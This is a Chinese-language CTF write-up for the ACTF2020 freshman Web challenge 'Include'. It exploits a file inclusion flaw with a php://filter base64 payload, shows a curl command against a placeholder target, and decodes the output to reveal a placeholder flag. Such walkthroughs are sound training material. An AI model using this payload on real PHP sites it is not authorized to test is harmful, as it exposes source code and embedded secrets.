ACTF2020 新生赛 - Web - Include

结论先行:file 参数未过滤伪协议,flag.php 被直接包含会执行、看不到注释里的 flag;用 php://filter 读 base64 源码再解码即可。

题目信息

项 内容
比赛 ACTF2020 新生赛
方向 Web
难度 Easy
环境 授权靶场(已脱敏)

漏洞类型:文件包含(LFI)+ php://filter 伪协议读取源码。

信息收集

访问首页,页面只有一个链接:

1
2
<meta charset="utf8">
<a href="?file=flag.php">tips</a>

提示通过 file 参数包含文件,存在文件包含漏洞。

漏洞分析

flag.php 被 PHP 执行后只输出一行提示,flag 实际写在源码注释中,注释不会被执行显示。因此需要用伪协议把文件当作原始字节流读取,而非交给 PHP 引擎解析。

利用过程

1. 直接访问 flag.php

1
GET /?file=flag.php

返回:

1
Can you find out the flag?

说明 flag.php 被 PHP 执行了,flag 藏在源码注释里(执行后不显示)。

2. 使用 php://filter 读取源码

用 php://filter 伪协议 + base64 编码,让 PHP 以原始字节流形式读取文件,避免被解析执行:

1
GET /?file=php://filter/read=convert.base64-encode/resource=flag.php

返回 base64 编码的源码:

1
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7eHh4eH0K

3. base64 解码

解码后得到 flag.php 源码:

1
2
3
<?php
echo "Can you find out the flag?";
//flag{xxxx}

完整 EXP

1
2
3
4
5
# 1. 用 base64 伪协议读源码
curl "http://target:8080/?file=php://filter/read=convert.base64-encode/resource=flag.php"

# 2. 解码得到源码(含注释中的 flag)
echo 'PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7eHh4eH0K' | base64 -d

Flag

1
flag{xxxx}

踩坑与总结

  1. file 参数直接用于文件包含,未过滤伪协议。
  2. flag 写在 flag.php 的注释里,直接包含会被 PHP 执行掉(不显示注释)。
  3. 用 php://filter/read=convert.base64-encode/resource= 让 PHP 读取文件原始内容并 base64 编码输出,绕过 PHP 解析,从而看到源码中的 flag。
  4. 遇到「包含后内容看不到」的文件,优先考虑用伪协议读源码而非直接包含。